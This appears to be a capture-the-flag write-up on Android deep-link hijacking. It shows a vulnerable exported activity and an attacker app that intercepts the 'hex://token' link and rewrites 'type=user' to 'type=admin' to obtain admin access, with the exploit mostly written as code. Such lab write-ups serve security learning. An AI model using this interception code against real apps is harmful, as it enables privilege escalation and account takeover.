How I Gained Admin Access Through DeepLink Hijacking

16 hours ago 6
BOOK THIS SPACE FOR AD
ARTICLE AD

Kyrillos nady

Hello everyone! Today, I’ll walk you through how to exploit a DeepLink hijacking vulnerability to gain admin access.
Let’s dive right in.

While reviewing the AndroidManifest.xml, I noticed an exported activity with the following BROWSABLE intent filter:

<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="hex"
android:host="token" />
</intent-filter>

This exported activity allows external applications or browsers to interact with it using the hex://token scheme and host combination.

Here’s the relevant snippet of the activity’s code:

public void onCreate(Bundle bundle) {
super.onCreate(bundle);
Intent intent = getIntent();
if (intent == null || intent.getAction() == null) {
finish();
return;
}

if (intent.getAction().equals("android.intent.action.VIEW")) {
Uri data = intent.getData();
String type = data.getQueryParameter("type");
String authToken = data.getQueryParameter("authToken");
String authChallenge = data.getQueryParameter("authChallenge");
String savedChallenge = SolvedPreferences.getString(getPrefixKey("challenge"));

if (type == null || authToken == null || authChallenge == null || !authChallenge.equals(savedChallenge)) {
Toast.makeText(this, "Invalid login", Toast.LENGTH_SHORT).show();
finish();
return;
}

if (type.equals("user")) {
Toast.makeText(this, "User login successful", Toast.LENGTH_SHORT).show();
} else if (type.equals("admin")) {
Log.i("Flag14", "hash: " + authToken);
Toast.makeText(this, "Admin login successful", Toast.LENGTH_SHORT).show();
success(this);
}
}
}

Key takeaways from the code:

The type, authToken, and authChallenge parameters are validated.A specific authChallenge must match a saved value to proceed.If the type parameter is set to "admin" and the hash of authToken matches a predefined value, admin login is granted.

To exploit this vulnerability, I created an attack application with the same intent filter in its AndroidManifest.xml:

<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="hex"
android:host="token" />
</intent-filter>

This allows my application to intercept the DeepLink.

Here’s the initial code I used to send an intent via the application’s DeepLink:

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

((Button) findViewById(R.id.btn_launch_activity)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setClassName("com.example", "com.example.connectProperty");
startActivity(intent);
}
});
}

Upon inspecting the intent data, I found a parameter called type=user. This parameter defines the user’s role:

What happens if we replace type=user to type=admin? 🤔

Here’s the final exploit code:

if (intent.getAction().equals("android.intent.action.VIEW")) {
Uri data = intent.getData();
if (data != null && data.getScheme().equals("hex") && data.getHost().equals("token")) {
Intent newIntent = new Intent();
newIntent.fillIn(intent, Intent.FILL_IN_DATA | Intent.FILL_IN_ACTION | Intent.FILL_IN_CATEGORIES);
newIntent.setClassName("com.example", "com.example.connectProperty");
newIntent.setData(Uri.parse(newIntent.getDataString().replace("type=user", "type=admin")));

startActivity(newIntent);
}
}

By replacing type=user with type=admin in the DeepLink, I successfully gained admin privileges! 🎉

This exercise highlights the importance of securely validating input parameters in DeepLink handlers. Improper validation or overly permissive exported activities can lead to severe vulnerabilities like privilege escalation.

Read Entire Article